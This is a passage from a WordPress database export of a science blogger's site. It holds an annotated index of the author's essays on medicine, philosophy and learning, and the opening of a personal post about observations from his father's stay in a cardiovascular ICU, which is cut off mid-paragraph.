tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-it-possible-to-explicitly-teach-intuition-in-the-sciences/\" data-type=\"page\" data-id=\"321\">Is it possible to explicitly teach intuition in the sciences?</a> - Going back to my geoscience roots to try to discuss how scientific intuition is formed and how it can be improved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Close interaction with other people who are learning the same thing</li><li>Emotional bonding with said people</li><li>Drilling of what you want to learn</li><li>Single-minded focus on exactly what you want to learn</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/drug-trials-have-a-surprising-amount-of-detail/\" data-type=\"page\" data-id=\"313\">Drug trials have a surprising amount of detail</a> - We gave a bunch of cats drugs. It was pretty complicated to do so. This explains why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/artificial-general-intelligence-agi-timelines-ignore-the-social-factor-at-their-peril/\" data-type=\"page\" data-id=\"311\">Artificial General Intelligence timelines ignore the social factor at their peril</a> - Using the lens of the Three Mile Island incident to discuss how technological progress can be slowed down immensely by social backlash, which AGI people are ignoring. Written for an FTX Future Fund contest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-ftx-future-fund-needs-to-slow-its-charitable-spending-way-down/\" data-type=\"page\" data-id=\"315\">The FTX Future Fund needs to slow its charitable spending way down</a> - The FTX Future Fund is dumping mounds of money into Effective Altruist related causes. It is having unfortunate side effects, which I discuss here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2022-10-19 15:59:02','2022-10-19 15:59:02','',22,'https://trevorklee.com/?p=327',0,'revision','',0),
(329,1,'2022-11-22 19:11:49','2022-11-22 19:11:49','<!-- wp:paragraph -->\n<p>I’ve spent just about the last month visiting my dad in the ICU every day. The long story short is that my dad had surgery for lung cancer, recovery went really poorly, and my dad’s been slowly progressing from comatose to, hopefully, something resembling his former self<a href=\"https://substack.com/inbox/post/85376912#footnote-1\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Needless to say, this has been a terrible experience. It’s been horrible seeing my dad in the ICU and seeing my family stress about my dad. It’s also been very difficult for me to keep my life and work on track while spending 4+ hours a day at the hospital. This latter point is why it took me 3 weeks to write my last post encouraging the FTX Future Fund to establish an IPCC report for AGI predictions, just in time for the FTX Future Fund to blow up<a href=\"https://substack.com/inbox/post/85376912#footnote-2\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There have been very few silver linings to this experience. However, one of the silver linings has been an up-close-and-personal look at how an ICU works. Now, for context, I should mention that my dad has been in one of the cardiovascular ICU units at Brigham and Women’s Hospital. This is one of the nicest and best-resourced ICUs in the country. So, my assumption has been that the faults of this ICU unit are likely shared by all ICUs, while the virtues probably are not.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyhow, here’s a list of things I’ve noticed about the ICU.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1.&nbsp;<strong>The ICU is filled with old people.</strong>&nbsp;There are around 10 beds in the ICU unit that my dad is in. Due to the nature of the ICU, patients come in and out frequently, and it’s actually rare for anyone to stay as long as my dad has. Of the patients I’ve seen come in and out, I’d guess that over 90% are over 70 (including my dad).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F924d217e-12e9-4fd7-811e-83a2da2a05ec_1440x900.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F924d217e-12e9-4fd7-811e-83a2da2a05ec_1440x900.png\" alt=\"Mystic Falls Hospital | The Vampire Diaries Wiki | Fandom\" title=\"Mystic Falls Hospital | The Vampire Diaries Wiki | Fandom\"/></a><figcaption class=\"wp-element-caption\">This is not a picture of a real hospital. This is a picture of Mystic Falls hospital, from the CW show “The Vampire Diaries”. If I remember correctly, the guy on the left is an evil vampire hunter (the vampires in the show are mostly heroes, except when they’re evil and trying to take over the world), and the doctor on the right is maybe a vampire? Or she might just be friends with a vampire but not realize it. Or she gets killed by a vampire. I forget and refuse to look it up. It\'s a really stupid show.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>I had been aware of how much of our healthcare is utilized by the elderly, but this really put it in stark focus. We are spending an enormous amount of our healthcare budget on patients in the last 5 or 10 years of their life. This includes every part of healthcare: nurses, speciality doctors, primary doctors, surgeons, etc. Pretty much all these patients are on Medicare, which means your taxpayers dollars are making this happen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, to put it in even starker terms, the next time you have trouble booking a surgeon or even a gastroenterologist, you can remember that America’s supply of surgeons and gastroenterologists is being disproportionately used by the AARP crowd. I’m not sure if this is a good thing, but I don’t think anyone has a better solution.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2.&nbsp;<strong>There are many consults, but the ICU attending is king (or queen)</strong>. My dad, like many ICU patients, has and had a complex case. He’s had problems with his lungs, his heart, bleeding, his gastrointestinal system, his mental status, and his sleep. As such, there have been many consulting physicians called in to advise on my dad: neurologists, psychiatrists, thoracic surgeons, endocrinologists, etc.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This did not surprise me. I didn’t think that a single doctor would be able to handle every part of my dad’s illness. What did surprise me is that the ICU attending feels comfortable ignoring pretty much anyone they disagree with. This is especially true for specialities like psychiatry and neurology, as I think ICU doctors assume brain doctors generally don’t know what they’re doing. Pretty much every recommendation that either psychiatrists or neurologists have made over the course of my dad’s stay has been ignored or modified by the attending. Then the attending passes the orders down to the nurses, who then make decisions based on that, because…</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3.&nbsp;<strong>Sometimes nurses are the footsoldiers of the ICU regent, and sometimes they’re governors.&nbsp;</strong>By this I mean that there’s some stuff the nurses have to follow exact orders on, and some stuff they can do almost whatever they want.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, when it comes to prescribing or dosing blood pressure medicine? Exact orders. Giving psychiatric medicine “as needed”? Go wild. Letting patients swallow apple sauce? Exact orders. Letting patients swallow ice chips? Some nurses go wild; some nurses wait for exact orders.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And speaking of things that nurses have a lot of leeway with…</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4.&nbsp;<strong>Everyone agrees that sleep is important, but nobody has any idea beyond that.&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As far as I can tell, the ICU has progressed a lot with regards to sleep. Previously, the ICU refused to admit sleep was important at all, so they constantly woke patients up with tests, rounds, and even just cleaning. Now, with the advent of modern medicine, the ICU has finally admitted sleep is important for recovery, and you can convince them to make some allowances for sleep, like scheduling finger prick tests for the daytime instead of midnight.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, literally nobody has any ideas oh how to fix the sleep problems that are so common in the ICU beyond “patients should sleep at night”. So, should we let a patient nap during the day? Nobody knows! Is it bad if their sedatives make them sleep more than they would normally? Nobody knows!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, what ends up happening is that the doctors leave it up to the nurses. Then, the nurses all have their own ideas. One nurse says no naps during the day. The next nurse says naps as needed. Then the next nurse actively encourages naps. It gets very confusing. This is especially problematic because sleep quality affects mental status, which ends up being a big issue in the ICU.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5.&nbsp;<strong>Almost every patient has delusions and nightmares, but nobody knows why or how to fix it.&nbsp;</strong>Delusions in the ICU are insanely common. It’s something like 90% of patients. Patients in the ICU often describe delusions as the worst part of their recovery. And yet, nobody knows why or how to fix it. The closest we get to why is some combination of physical trauma, anesthesia, and disrupted sleep, and the closest we get to fixing it is a normal sleep-wake cycle.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve been going through this with my own dad. My dad went from a mentally healthy (although somewhat anxious) guy to someone who has literally constant hallucinations and delusions. Occasionally he recognizes the hallucinations as not real; occasionally he does not.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I can say that, as his son, it’s been particularly sad for me to watch him go through this. My dad has somewhat frequently believed that the ICU staff is kidnapping him or holding him hostage, and often worries that we, his family, are hostages too. Because of this, he often tries to remove his IVs and catheter, which is stressful for everyone. These hallucinations also make it difficult for him to do physical tasks, as he sees things that aren’t there and tries to avoid them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One suggestion people do have to combat the hallucinations and delusions is to have some sense of constancy. This is difficult because…</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6.&nbsp;<strong>The ICU staff is literally constantly changing.</strong>&nbsp;The ICU has a difficult staffing job. It’s a 24 hour center filled with skilled and highly skilled staff. So, ICU staff tend to work 3 days a week for 12 hours each day, and rotate whether they take the day or night shift.<br><br>I understand why the ICU is set up this way. It limits handovers and prevents one staff member from being always stuck with the night shift. However, it has some serious problems.<br><br>First, from a patient perspective, the nurses and doctors are constantly changing. This is confusing for a deluded patient, and it’s difficult for their loved ones. For example, we kept having to tell nurses not to put the news on the TV, as my dad, a fervent Republican, gets worked up by MSNBC or CNN. However, each new nurse would put MSNBC or CNN on, usually confused by my dad’s request for CNBC, the business channel. Finally, we had to just write “TV: golf” on the whiteboard in his room.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Second, there’s no institutional memory beyond the medical chart. While the medical chart says what was prescribed, it never says anything beyond that. So, for example, my dad’s poor reaction to Haldol was not included on the chart. We had to inform each new nurse not to give him Haldol, and then still had a new nurse give him Haldol when he was agitated.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This problem becomes especially acute with any longterm issues because…</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>7.&nbsp;<strong>The ICU is great at managing acute issues, and struggles a lot more with longterm issues.&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anything that happens quickly the ICU is great at managing. Sudden drops in blood pressure or blood oxygen, very agitated patients, or even just bathroom emergencies are all things that the ICU staff swoops in and handles, well, handily. However, anything that takes longer to get a handle on the ICU struggles a lot more with.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, digestive issues, hormonal issues, and mental issues all get short shrift. Basically, if there’s an obvious symptom, a consult will come in to try to treat the symptom. Then they’ll take another test in a day or so, see what happens, and go from there. There’s no sense of a scientific method, reasoning from first principles, or even reasoning from similar cases though. 